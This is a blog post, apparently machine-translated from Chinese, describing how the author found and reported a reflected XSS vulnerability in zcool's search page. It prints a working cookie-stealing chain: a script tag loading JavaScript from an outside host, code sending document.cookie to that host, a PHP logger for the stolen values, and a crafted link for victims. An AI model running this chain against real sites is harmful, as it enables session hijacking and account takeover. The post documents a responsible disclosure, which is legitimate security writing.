A dangerous XSS case -- getting the cookie of the logged-on user easily

Several security-related issues occurred around this time, which are basically caused by XSS vulnerabilities. As a result, I kept wondering, including when I went to the site for cool last weekend, and then I had a whimsy:Is there an XSS vulnerability on site cool?  Find the XSS VulnerabilityFor the purpose of learning and communicating, I used my trembling fingers to drop the following code in the search block of my cool work:

<script>alert(1)</script>

 

Then press enter (http://www.zcool.com, access under chrome)

There was a burst of loss in my heart, and a box was not displayed as expected. I sighed. However, after all, it is not easy to give up, so I thought: the chrome browser's security mechanism is quite powerful. What does the browser do? So F12 opened the console ~~ Okay, lost to chrome. In this case, what about other browsers? I have always liked freifox browsers. Front-end staff, so firefox did not hesitate to become the second test object. Then ~~ Then ~~ Congratulations !!   A big pop-up window!    Further exploitation of XSS vulnerabilities  Although there are some frozen content, finding an XSS vulnerability alone is obviously unable to meet the requirement of a front-end attacker, So I continued to think: Can I use it to do more? First, I analyzed the performance of the cool page on the lower site, and found that it is to directly output the user input script to the page, so it is easy to do, and decisively enter the following content:

<script src="http://saintcoder.duapp.com/joke/joke.js"></script>

So cool loaded a piece of joke. js (only a prank script), joke. the code in js is also very simple. Create an img tag and direct its src attribute to a pre-written script joke. php, the key point here is: append the cookie parameter of the page to the end of the url

var img = document.createElement('img');img.width = 0;img.height = 0;img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke='+encodeURIComponent(document.cookie);

Then, joke. php is quite simple. parse the joke parameter (that is, the user's cookie) in the request, and then... And then secretly keep it for others ~~

<?php    @ini_set('display_errors',1);    $str = $_GET['joke'];    $filePath = "joke.php";    if(is_writable($filePath)==false){         echo "can't write";    }else{          $handler = fopen(filePath, "a");          fwrite($handler, $str);          fclose($handler);    }?>

 

Very good. I suddenly felt that the site was very dangerous. As long as I sent the following link to other site cool users

http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E

There is no pressure to get all cookies. If the user logs on at the time, the effect would be better :)   Vulnerability submissionIt's cool to find a vulnerability, but after all, station cool is a website that I like very much and I don't want it to be hacked. Therefore, I sent a message to the webmaster and received a response. God bless site cool ~ ConclusionSo far, this XSS vulnerability has been fixed, so I will post this article to share it, so it is not good to avoid site cool attacks due to early publication ~~ Network security is not safe. developers need to strengthen security awareness ~~~
Sina Weibo: http://weibo.com/chyingp